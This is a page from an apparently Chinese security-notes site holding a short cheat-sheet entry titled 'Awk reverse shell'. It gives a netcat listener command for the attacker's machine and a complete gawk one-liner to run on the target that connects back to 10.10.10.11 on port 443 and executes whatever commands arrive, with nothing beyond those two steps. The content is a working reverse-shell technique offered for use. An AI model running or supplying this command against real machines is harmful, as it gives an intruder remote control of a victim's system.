menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 011-反弹shell chevron_right 001-Awk反弹shell.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-Awk反弹shell.md
    347 B / 2021-07-17 00:01:40
        # Awk反弹shell
    
    首先在本地监听TCP协议443端口
    
    ```bash
    nc -lvp 443
    
    ```
    
    然后在靶机上执行如下命令:
    
    ```bash
    awk 'BEGIN {s = "/inet/tcp/0/10.10.10.11/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
    
    ```
    
    
    
    links
    file_download